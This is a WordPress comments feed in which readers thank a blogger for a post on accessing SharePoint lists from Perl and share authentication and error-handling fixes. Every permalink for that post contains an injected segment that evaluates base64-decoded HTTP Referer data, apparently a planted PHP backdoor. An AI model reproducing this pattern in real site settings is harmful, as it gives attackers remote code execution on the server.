<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments for www.squish.net</title>
	<atom:link href="http://www.squish.net/log/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.squish.net/log</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Sat, 04 Feb 2012 02:22:19 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on About me by Ian King</title>
		<link>http://www.squish.net/log/about-me/comment-page-1/#comment-13887</link>
		<dc:creator>Ian King</dc:creator>
		<pubDate>Thu, 17 Mar 2011 16:33:53 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/?page_id=12#comment-13887</guid>
		<description>I think I remember you.... I co-located a server at Coventry with Oaktree for a couple of years or more. I still have the hardware for that server... it is collecting dust in the loft. My company still hasn't got any bigger though. Pleased things went well for you after Coventry.
Best Regards... Ian</description>
		<content:encoded><![CDATA[<p>I think I remember you&#8230;. I co-located a server at Coventry with Oaktree for a couple of years or more. I still have the hardware for that server&#8230; it is collecting dust in the loft. My company still hasn&#8217;t got any bigger though. Pleased things went well for you after Coventry.<br />
Best Regards&#8230; Ian</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Carswell</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13771</link>
		<dc:creator>Carswell</dc:creator>
		<pubDate>Fri, 15 Oct 2010 00:14:32 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13771</guid>
		<description>Thanks for a *profoundly* helpful post.  
FYI,
I was plagued by the 401 auth error when we moved to a SP server using SSL ... this fixed it for me:
my @credentials = (
		q{as in the article},
		q{my www basic auth domain},
		q{my password, with the DOMAIN\ prefix},
		q{my password},
);

In other words ... I couldn't auth with the www auth domain field in @credentials set to '' ... I had to fill it in.

you can get the auth domain by looking at the debug/trace information from LWP ... it's in the HTTP response.

(Note that this is not, strictly speaking, HTTPS related ... it's related to the configuration of HTTP authentication)</description>
		<content:encoded><![CDATA[<p>Thanks for a *profoundly* helpful post.<br />
FYI,<br />
I was plagued by the 401 auth error when we moved to a SP server using SSL &#8230; this fixed it for me:<br />
my @credentials = (<br />
		q{as in the article},<br />
		q{my www basic auth domain},<br />
		q{my password, with the DOMAIN\ prefix},<br />
		q{my password},<br />
);</p>
<p>In other words &#8230; I couldn&#8217;t auth with the www auth domain field in @credentials set to &#8221; &#8230; I had to fill it in.</p>
<p>you can get the auth domain by looking at the debug/trace information from LWP &#8230; it&#8217;s in the HTTP response.</p>
<p>(Note that this is not, strictly speaking, HTTPS related &#8230; it&#8217;s related to the configuration of HTTP authentication)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Bad English by Ed Ahlsen-Girard</title>
		<link>http://www.squish.net/log/bad-english/comment-page-1/#comment-13761</link>
		<dc:creator>Ed Ahlsen-Girard</dc:creator>
		<pubDate>Thu, 09 Sep 2010 14:17:54 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/bad-english/#comment-13761</guid>
		<description>Lend is a verb.  Loan is not a verb.

If you lay down, I shall wonder either where you put those goose feathers, or who this Down character is and whether Down is male or female.

Adjectives describe the qualities of an object.  Adverbs describe the qualities of an action.

The conditinoal and subjunctive convey meaning, and it were better had we all learned to use them.</description>
		<content:encoded><![CDATA[<p>Lend is a verb.  Loan is not a verb.</p>
<p>If you lay down, I shall wonder either where you put those goose feathers, or who this Down character is and whether Down is male or female.</p>
<p>Adjectives describe the qualities of an object.  Adverbs describe the qualities of an action.</p>
<p>The conditinoal and subjunctive convey meaning, and it were better had we all learned to use them.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Hugo</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13723</link>
		<dc:creator>Hugo</dc:creator>
		<pubDate>Fri, 16 Jul 2010 11:25:00 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13723</guid>
		<description>Hello,

after 1 hour trying i found my failure :)
...i forgott to add "/_vti_bin/lists.asmx" to the normal sharepoint-website link (ending to the sites name)

many thx@all for this site :D</description>
		<content:encoded><![CDATA[<p>Hello,</p>
<p>after 1 hour trying i found my failure <img src='http://www.squish.net/log/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
&#8230;i forgott to add &#8220;/_vti_bin/lists.asmx&#8221; to the normal sharepoint-website link (ending to the sites name)</p>
<p>many thx@all for this site <img src='http://www.squish.net/log/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by KGifford</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13691</link>
		<dc:creator>KGifford</dc:creator>
		<pubDate>Mon, 26 Apr 2010 17:47:42 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13691</guid>
		<description>Update for better error handling.

In calling function:
eval {
    &amp;sendFormSP( \%data );
};

if ($@) {
    if ( substr( $@, 0, 3 ) == 401 ) {
        $msg = "Incorrect password for $username.";
    }
    else {
        $msg = "Error: $@";
    }
}

In subroutine change following:
quit(1, $lists-&gt;faultstring()) if defined $lists-&gt;fault();
to
die $lists-&gt;faultstring() if defined $lists-&gt;fault();

quit(1, $call-&gt;faultstring()) if defined $call-&gt;fault();
to
die $call-&gt;faultstring() if defined $call-&gt;fault();

return undef;
to
die "List does not exist.";


If anyone is working on this and has questions please post here or email.</description>
		<content:encoded><![CDATA[<p>Update for better error handling.</p>
<p>In calling function:<br />
eval {<br />
    &amp;sendFormSP( \%data );<br />
};</p>
<p>if ($@) {<br />
    if ( substr( $@, 0, 3 ) == 401 ) {<br />
        $msg = &#8220;Incorrect password for $username.&#8221;;<br />
    }<br />
    else {<br />
        $msg = &#8220;Error: $@&#8221;;<br />
    }<br />
}</p>
<p>In subroutine change following:<br />
quit(1, $lists-&gt;faultstring()) if defined $lists-&gt;fault();<br />
to<br />
die $lists-&gt;faultstring() if defined $lists-&gt;fault();</p>
<p>quit(1, $call-&gt;faultstring()) if defined $call-&gt;fault();<br />
to<br />
die $call-&gt;faultstring() if defined $call-&gt;fault();</p>
<p>return undef;<br />
to<br />
die &#8220;List does not exist.&#8221;;</p>
<p>If anyone is working on this and has questions please post here or email.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by KGifford</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13682</link>
		<dc:creator>KGifford</dc:creator>
		<pubDate>Sun, 28 Mar 2010 17:02:12 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13682</guid>
		<description>I have this working to send form data to a SharePoint list. It is actually cached form data stored in xml for an offline client, but would be the same for a live scenario.

I am using ActivePerl 5.10.1.1007

I used ppm to install the following packages
SOAP::Lite
NTLM
LWP

I then created a subroutine, called as follows with a hash of the name-&gt;value form data:

&amp;sendFormSP(\%data);

In the subroutine the form data is loaded as follows:

my $params = shift;
my %data = %$params;

Then I create dynamic SOAP variables for each of the fields and load onto an array:

my @fieldvars = ();

foreach my $k (keys (%data)){
	${'field_' . $k} = SOAP::Data-&gt;name('Field', $data{$k})-&gt;attr({ Name =&gt; $k });
	push(@fieldvars, ${'field_' . $k});
}


Finally the $method SOAP variable is assigned as follows.

my $method = name('Method'=&gt; \@fieldvars)-&gt;attr({ ID =&gt; "anything", Cmd =&gt; 'New'});

And then the final few lines of code same as in the original post.

If anyone has any code to share please do so.

Thanks,
K</description>
		<content:encoded><![CDATA[<p>I have this working to send form data to a SharePoint list. It is actually cached form data stored in xml for an offline client, but would be the same for a live scenario.</p>
<p>I am using ActivePerl 5.10.1.1007</p>
<p>I used ppm to install the following packages<br />
SOAP::Lite<br />
NTLM<br />
LWP</p>
<p>I then created a subroutine, called as follows with a hash of the name-&gt;value form data:</p>
<p>&amp;sendFormSP(\%data);</p>
<p>In the subroutine the form data is loaded as follows:</p>
<p>my $params = shift;<br />
my %data = %$params;</p>
<p>Then I create dynamic SOAP variables for each of the fields and load onto an array:</p>
<p>my @fieldvars = ();</p>
<p>foreach my $k (keys (%data)){<br />
	${&#8217;field_&#8217; . $k} = SOAP::Data-&gt;name(&#8217;Field&#8217;, $data{$k})-&gt;attr({ Name =&gt; $k });<br />
	push(@fieldvars, ${&#8217;field_&#8217; . $k});<br />
}</p>
<p>Finally the $method SOAP variable is assigned as follows.</p>
<p>my $method = name(&#8217;Method&#8217;=&gt; \@fieldvars)-&gt;attr({ ID =&gt; &#8220;anything&#8221;, Cmd =&gt; &#8216;New&#8217;});</p>
<p>And then the final few lines of code same as in the original post.</p>
<p>If anyone has any code to share please do so.</p>
<p>Thanks,<br />
K</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Mig10</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13670</link>
		<dc:creator>Mig10</dc:creator>
		<pubDate>Tue, 02 Feb 2010 21:53:56 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13670</guid>
		<description>Thank you, this is very useful.

My SharePoint is using HTTPS, so I had to change the the $sp_domain value to "my_domain.com:443", and it worked well.</description>
		<content:encoded><![CDATA[<p>Thank you, this is very useful.</p>
<p>My SharePoint is using HTTPS, so I had to change the the $sp_domain value to &#8220;my_domain.com:443&#8243;, and it worked well.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by InvoiceGuy</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13658</link>
		<dc:creator>InvoiceGuy</dc:creator>
		<pubDate>Tue, 05 Jan 2010 22:16:25 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13658</guid>
		<description>I got this to work!  As an old Perl hacker transformed into SharePoint hacker, I'm thrilled at the new(old) possibities.  The .NET guys think I'm crazy, but I think the same about them.

Doing more with less,

@InvoiceGuy</description>
		<content:encoded><![CDATA[<p>I got this to work!  As an old Perl hacker transformed into SharePoint hacker, I&#8217;m thrilled at the new(old) possibities.  The .NET guys think I&#8217;m crazy, but I think the same about them.</p>
<p>Doing more with less,</p>
<p>@InvoiceGuy</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Tomek</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13646</link>
		<dc:creator>Tomek</dc:creator>
		<pubDate>Mon, 07 Dec 2009 17:18:37 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13646</guid>
		<description>thnk you so much for all these tips! Unfortunately  I didnt read comments carefully and I lost 2 days to investigate below bug with Authen::NTLM ;)

http://rt.cpan.org/Public/Bug/Display.html?id=9521</description>
		<content:encoded><![CDATA[<p>thnk you so much for all these tips! Unfortunately  I didnt read comments carefully and I lost 2 days to investigate below bug with Authen::NTLM <img src='http://www.squish.net/log/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://rt.cpan.org/Public/Bug/Display.html?id=9521" rel="nofollow">http://rt.cpan.org/Public/Bug/Display.html?id=9521</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by John</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13621</link>
		<dc:creator>John</dc:creator>
		<pubDate>Thu, 17 Sep 2009 19:23:40 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13621</guid>
		<description>Just a note: I hacked for literally a day on this, getting the 401 error issue, until I changed the following line:

my @credentials = ($sp_domain, "", $sp_endpoint, $sp_password);

to

my @credentials = ($sp_domain, "", $sp_username, $sp_password);

Now it works great!</description>
		<content:encoded><![CDATA[<p>Just a note: I hacked for literally a day on this, getting the 401 error issue, until I changed the following line:</p>
<p>my @credentials = ($sp_domain, &#8220;&#8221;, $sp_endpoint, $sp_password);</p>
<p>to</p>
<p>my @credentials = ($sp_domain, &#8220;&#8221;, $sp_username, $sp_password);</p>
<p>Now it works great!</p>
]]></content:encoded>
	</item>
</channel>
</rss>

